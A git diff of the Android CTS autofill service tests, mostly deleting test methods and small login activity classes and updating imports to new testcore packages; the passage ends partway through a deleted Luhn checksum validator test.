-                // Change focus to prepare for next step - must do it before session is gone
-                requestFocusOnPassword();
-
-                // Rinse and repeat...
-                mActivity.tapClear();
-
-                waitUntilDisconnected();
-            } catch (RetryableException e) {
-                throw e;
-            } catch (Throwable t) {
-                throw new Throwable("Error on step " + i, t);
-            }
-        }
-    }
-
-    @Test
-    public void testClickCustomButton() throws Exception {
-        // Set service.
-        enableService();
-
-        Intent intent = new Intent(mContext, EmptyActivity.class);
-        IntentSender sender = PendingIntent.getActivity(mContext, 0, intent,
-                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_CANCEL_CURRENT)
-                .getIntentSender();
-
-        RemoteViews presentation = new RemoteViews(mPackageName, R.layout.list_item);
-        presentation.setTextViewText(R.id.text1, "Poke");
-        Intent firstIntent = new Intent(mContext, DummyActivity.class);
-        presentation.setOnClickPendingIntent(R.id.text1, PendingIntent.getActivity(
-                mContext, 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
-                        | PendingIntent.FLAG_CANCEL_CURRENT));
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(sender, ID_USERNAME)
-                .setPresentation(presentation)
-                .build());
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Click on the custom button
-        mUiBot.selectByText("Poke");
-
-        // Make sure the click worked
-        mUiBot.selectByText("foo");
-
-        // Go back to the filled app.
-        mUiBot.pressBack();
-    }
-
-    @Test
-    public void testIsServiceEnabled() throws Exception {
-        disableService();
-        final AutofillManager afm = mActivity.getAutofillManager();
-        assertThat(afm.hasEnabledAutofillServices()).isFalse();
-        try {
-            enableService();
-            assertThat(afm.hasEnabledAutofillServices()).isTrue();
-        } finally {
-            disableService();
-        }
-    }
-
-    @Test
-    public void testGetAutofillServiceComponentName() throws Exception {
-        final AutofillManager afm = mActivity.getAutofillManager();
-
-        enableService();
-        final ComponentName componentName = afm.getAutofillServiceComponentName();
-        assertThat(componentName.getPackageName()).isEqualTo(SERVICE_PACKAGE);
-        assertThat(componentName.getClassName()).endsWith(SERVICE_CLASS);
-
-        disableService();
-        assertThat(afm.getAutofillServiceComponentName()).isNull();
-    }
-
-    @Test
-    public void testSetupComplete() throws Exception {
-        enableService();
-
-        // Validation check.
-        final AutofillManager afm = mActivity.getAutofillManager();
-        Helper.assertAutofillEnabled(afm, true);
-
-        // Now disable user_complete and try again.
-        try {
-            setUserComplete(mContext, false);
-            Helper.assertAutofillEnabled(afm, false);
-        } finally {
-            setUserComplete(mContext, true);
-        }
-    }
-
-    @Test
-    public void testPopupGoesAwayWhenServiceIsChanged() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Now disable service by setting another service
-        Helper.enableAutofillService(mContext, NoOpAutofillService.SERVICE_NAME);
-
-        // ...and make sure popup's gone
-        mUiBot.assertNoDatasets();
-    }
-
-    // TODO(b/70682223): add a new test to make sure service with BIND_AUTOFILL permission works
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testServiceIsDisabledWhenNewServiceInfoIsInvalid() throws Exception {
-        serviceIsDisabledWhenNewServiceIsInvalid(BadAutofillService.SERVICE_NAME);
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testServiceIsDisabledWhenNewServiceNameIsInvalid() throws Exception {
-        serviceIsDisabledWhenNewServiceIsInvalid("Y_U_NO_VALID");
-    }
-
-    private void serviceIsDisabledWhenNewServiceIsInvalid(String serviceName) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Now disable service by setting another service...
-        Helper.enableAutofillService(mContext, serviceName);
-
-        // ...and make sure popup's gone
-        mUiBot.assertNoDatasets();
-
-        // Then try to trigger autofill again...
-        mActivity.onPassword(View::requestFocus);
-        //...it should not work!
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testAutofillMovesCursorToTheEnd() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // NOTE: need to call getSelectionEnd() inside the UI thread, otherwise it returns 0
-        final AtomicInteger atomicBombToKillASmallInsect = new AtomicInteger();
-
-        mActivity.onUsername((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
-        assertWithMessage("Wrong position on username").that(atomicBombToKillASmallInsect.get())
-                .isEqualTo(4);
-
-        mActivity.onPassword((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
-        assertWithMessage("Wrong position on password").that(atomicBombToKillASmallInsect.get())
-                .isEqualTo(5);
-    }
-
-    @Test
-    public void testAutofillLargeNumberOfDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        final StringBuilder bigStringBuilder = new StringBuilder();
-        for (int i = 0; i < 10_000 ; i++) {
-            bigStringBuilder.append("BigAmI");
-        }
-        final String bigString = bigStringBuilder.toString();
-
-        final int size = 100;
-        Log.d(TAG, "testAutofillLargeNumberOfDatasets(): " + size + " datasets with "
-                + bigString.length() +"-bytes id");
-
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder();
-        for (int i = 0; i < size; i++) {
-            final String suffix = "-" + (i + 1);
-            response.addDataset(new CannedDataset.Builder()
-                    .setField(ID_USERNAME, "user" + suffix)
-                    .setField(ID_PASSWORD, "pass" + suffix)
-                    .setId(bigString)
-                    .setPresentation(createPresentation("DS" + suffix))
-                    .build());
-        }
-
-        // Set expectations.
-        sReplier.addResponse(response.build());
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are shown.
-        // TODO: improve assertDatasets() so it supports scrolling, and assert all of them are
-        // shown. In fullscreen there are 4 items, otherwise there are 3 items.
-        mUiBot.assertDatasetsContains("DS-1", "DS-2", "DS-3");
-
-        // TODO: once it supports scrolling, selects the last dataset and asserts it's filled.
-    }
-
-    @Test
-    public void testCancellationSignalCalledAfterTimeout() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final OneTimeCancellationSignalListener listener =
-                new OneTimeCancellationSignalListener(Timeouts.FILL_TIMEOUT.ms() + 2000);
-        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Attach listener to CancellationSignal.
-        waitUntilConnected();
-        sReplier.getNextFillRequest().cancellationSignal.setOnCancelListener(listener);
-
-        // Assert results
-        listener.assertOnCancelCalled();
-    }
-
-    @Test
-    @AppModeFull(reason = "Unit test")
-    public void testNewTextAttributes() throws Exception {
-        enableService();
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.onUsername(View::requestFocus);
-
-        final FillRequest request = sReplier.getNextFillRequest();
-        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
-        assertThat(username.getMinTextEms()).isEqualTo(2);
-        assertThat(username.getMaxTextEms()).isEqualTo(5);
-        assertThat(username.getMaxTextLength()).isEqualTo(25);
-
-        final ViewNode container = findNodeByResourceId(request.structure, ID_USERNAME_CONTAINER);
-        assertThat(container.getMinTextEms()).isEqualTo(-1);
-        assertThat(container.getMaxTextEms()).isEqualTo(-1);
-        assertThat(container.getMaxTextLength()).isEqualTo(-1);
-
-        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
-        assertThat(password.getMinTextEms()).isEqualTo(-1);
-        assertThat(password.getMaxTextEms()).isEqualTo(-1);
-        // Security fix a0c6539 limits the text length 5000. Disable assert text length to avoid
-        // break the public release.
-        //assertThat(password.getMaxTextLength()).isEqualTo(-1);
-    }
-
-    @Test
-    public void testUiShowOnChangeAfterAutofill() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude", createPresentation("dude"))
-                .setField(ID_PASSWORD, "sweet", createPresentation("sweet"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("dude");
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        mUiBot.assertNoDatasets();
-
-        // Delete a character.
-        sendKeyEvent("KEYCODE_DEL");
-        assertThat(mUiBot.getTextByRelativeId(ID_USERNAME)).isEqualTo("dud");
-
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Check autofill UI show.
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
-
-        // Autofill again.
-        mUiBot.selectDataset(datasetPicker, "dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    public void testUiShowOnChangeAfterAutofillOnePresentation() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("The Dude");
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        mUiBot.assertNoDatasets();
-
-        // Delete username
-        mUiBot.setTextByRelativeId(ID_USERNAME, "");
-
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Check autofill UI show.
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("The Dude");
-
-        // Autofill again.
-        mUiBot.selectDataset(datasetPicker, "The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    public void testCancelActionButton() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentationWithCancel("The Dude"))
-                        .build())
-                .setPresentationCancelIds(new int[]{R.id.cancel_fill});
-        sReplier.addResponse(builder.build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasetsContains("The Dude");
-
-        // Tap cancel button on fill UI
-        mUiBot.selectByRelativeId(ID_CANCEL_FILL);
-        mUiBot.waitForIdle();
-
-        mUiBot.assertNoDatasets();
-
-        // Test and verify auto-fill does not trigger
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.waitForIdle();
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Test and verify auto-fill does not trigger.
-        mActivity.onUsername(View::requestFocus);
-        mUiBot.waitForIdle();
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Reset
-        mActivity.tapClear();
-
-        // Set expectations.
-        final CannedFillResponse.Builder builder2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentationWithCancel("The Dude"))
-                        .build())
-                .setPresentationCancelIds(new int[]{R.id.cancel});
-        sReplier.addResponse(builder2.build());
-
-        // Trigger auto-fill.
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Verify auto-fill has been triggered.
-        mUiBot.assertDatasetsContains("The Dude");
-    }
-
-    @Test
-    @AppModeFull(reason = "WRITE_SECURE_SETTING permission can't be grant to instant apps")
-    public void testSwitchInputMethod_noNewFillRequest() throws Exception {
-        // Set service
-        enableService();
-
-        // Set expectations
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build());
-        sReplier.addResponse(builder.build());
-
-        // Trigger auto-fill
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasetsContains("The Dude");
-
-        // Trigger IME switch event
-        Helper.mockSwitchInputMethod(sContext);
-        mUiBot.waitForIdleSync();
-
-        // Tap password field
-        mUiBot.selectByRelativeId(ID_PASSWORD);
-        mUiBot.waitForIdleSync();
-
-        mUiBot.assertDatasetsContains("The Dude");
-
-        // No new fill request
-        sReplier.assertNoUnhandledFillRequests();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillActivity.java
deleted file mode 100644
index 40ebb69..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * Same as {@link LoginActivity}, but with autofill disabled.
- */
-public class LoginNotImportantForAutofillActivity extends LoginActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.login_activity_not_important;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedActivityContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedActivityContextActivity.java
deleted file mode 100644
index 035cea6..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedActivityContextActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Context;
-import android.content.ContextWrapper;
-import android.util.Log;
-
-/**
- * Same as {@link LoginNotImportantForAutofillActivity}, but using a context wrapper of itself
- * as the base context.
- */
-public class LoginNotImportantForAutofillWrappedActivityContextActivity
-        extends LoginNotImportantForAutofillActivity {
-
-    private Context mMyBaseContext;
-
-    @Override
-    public Context getBaseContext() {
-        if (mMyBaseContext == null) {
-            mMyBaseContext = new ContextWrapper(super.getBaseContext());
-            Log.d(mTag, "getBaseContext(): set to " + mMyBaseContext + " (instead of "
-                    + super.getBaseContext() + ")");
-        }
-        return mMyBaseContext;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedApplicationContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedApplicationContextActivity.java
deleted file mode 100644
index b47cfc6..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginNotImportantForAutofillWrappedApplicationContextActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Context;
-import android.content.ContextWrapper;
-import android.util.Log;
-
-/**
- * Same as {@link LoginNotImportantForAutofillActivity}, but using a context wrapper of itself
- * as the base context.
- */
-public class LoginNotImportantForAutofillWrappedApplicationContextActivity
-        extends LoginNotImportantForAutofillActivity {
-
-    private Context mMyBaseContext;
-
-    @Override
-    public Context getBaseContext() {
-        if (mMyBaseContext == null) {
-            mMyBaseContext = new ContextWrapper(getApplicationContext());
-            Log.d(mTag, "getBaseContext(): set to " + mMyBaseContext + " (instead of "
-                    + super.getBaseContext() + ")");
-        }
-        return mMyBaseContext;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivity.java
deleted file mode 100644
index c379f71..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * Same as {@link LoginActivity}, but with a custom autofill highlight drawable.
- */
-public class LoginWithCustomHighlightActivity extends LoginActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.login_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivityTest.java
index 0812ad7..f1a06ae 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginWithCustomHighlightActivityTest.java
@@ -16,10 +16,15 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
 
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.activities.LoginWithCustomHighlightActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.MyDrawable;
 import android.graphics.Rect;
 import android.support.test.uiautomator.UiObject2;
 import android.view.View;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivity.java
deleted file mode 100644
index 90c3e93..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * Same as {@link LoginActivity}, but with the texts for some fields set from resources.
- */
-public class LoginWithStringsActivity extends LoginActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.login_with_strings_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
deleted file mode 100644
index d702052..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
+++ /dev/null
@@ -1,156 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertHintFromResources;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextFromResources;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.LoginActivity.AUTHENTICATION_MESSAGE;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.view.View;
-
-import org.junit.Test;
-
-@AppModeFull(reason = "LoginActivityTest is enough")
-public class LoginWithStringsActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<LoginWithStringsActivity> {
-
-    private LoginWithStringsActivity mActivity;
-
-
-    @Override
-    protected AutofillActivityTestRule<LoginWithStringsActivity> getActivityRule() {
-        return new AutofillActivityTestRule<LoginWithStringsActivity>(
-                LoginWithStringsActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSave() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Bundle extras = new Bundle();
-        extras.putString("numbers", "4815162342");
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setId("I'm the alpha and the omega")
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(extras)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-        waitUntilConnected();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Make sure input was sanitized.
-        assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
-        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
-
-        // Make sure labels were not sanitized
-        assertTextFromResources(fillRequest.structure, ID_USERNAME_LABEL, "Username", false,
-                "username_string");
-        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "Password", false,
-                "password_string");
-
-        // Check text hints
-        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
-                "username_hint");
-        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
-                "password_hint");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Try to login, it will fail.
-        final String loginMessage = mActivity.tapLogin();
-
-        assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(AUTHENTICATION_MESSAGE);
-
-        // Set right password...
-        mActivity.onPassword((v) -> v.setText("dude"));
-
-        // ... and try again
-        final String expectedMessage = getWelcomeMessage("dude");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(username, "dude");
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(password, "dude");
-
-        // Make sure labels were not sanitized
-        assertTextFromResources(saveRequest.structure, ID_USERNAME_LABEL, "Username", false,
-                "username_string");
-        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "Password", false,
-                "password_string");
-
-        // Check text hints
-        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
-                "username_hint");
-        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
-                "password_hint");
-
-        // Make sure extras were passed back on onSave()
-        assertThat(saveRequest.data).isNotNull();
-        final String extraValue = saveRequest.data.getString("numbers");
-        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
deleted file mode 100644
index 6eb8b8e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.LuhnChecksumValidator;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class LuhnChecksumValidatorTest {
-
-    @Test
-    public void nullId() {
-        assertThrows(NullPointerException.class,
-                () -> new LuhnChecksumValidator((AutofillId[]) null));
-    }
-
-    @Test
-    public void nullAndOtherId() {
-        assertThrows(NullPointerException.class,
-                () -> new LuhnChecksumValidator(new AutofillId(1), null));
-    }
-
-    @Test
-    public void duplicateFields() {
-        AutofillId id = new AutofillId(1);
-
-        // duplicate fields are allowed
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id, id);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        // 5 is a valid checksum for 0005000
-        when(finder.findByAutofillId(id)).thenReturn("0005");
-        assertThat(validator.isValid(finder)).isTrue();
-
-        // 6 is a not a valid checksum for 0006000
-        when(finder.findByAutofillId(id)).thenReturn("0006");
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-
-    @Test
-    public void leadingZerosAreIgnored() {
-        AutofillId id = new AutofillId(1);
-
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("7992739871-3");
-        assertThat(validator.isValid(finder)).isTrue();
-
-        when(finder.findByAutofillId(id)).thenReturn("07992739871-3");
-        assertThat(validator.isValid(finder)).isTrue();
-    }
-
-    @Test
-    public void onlyOneChecksumValid() {
-        AutofillId id = new AutofillId(1);
-
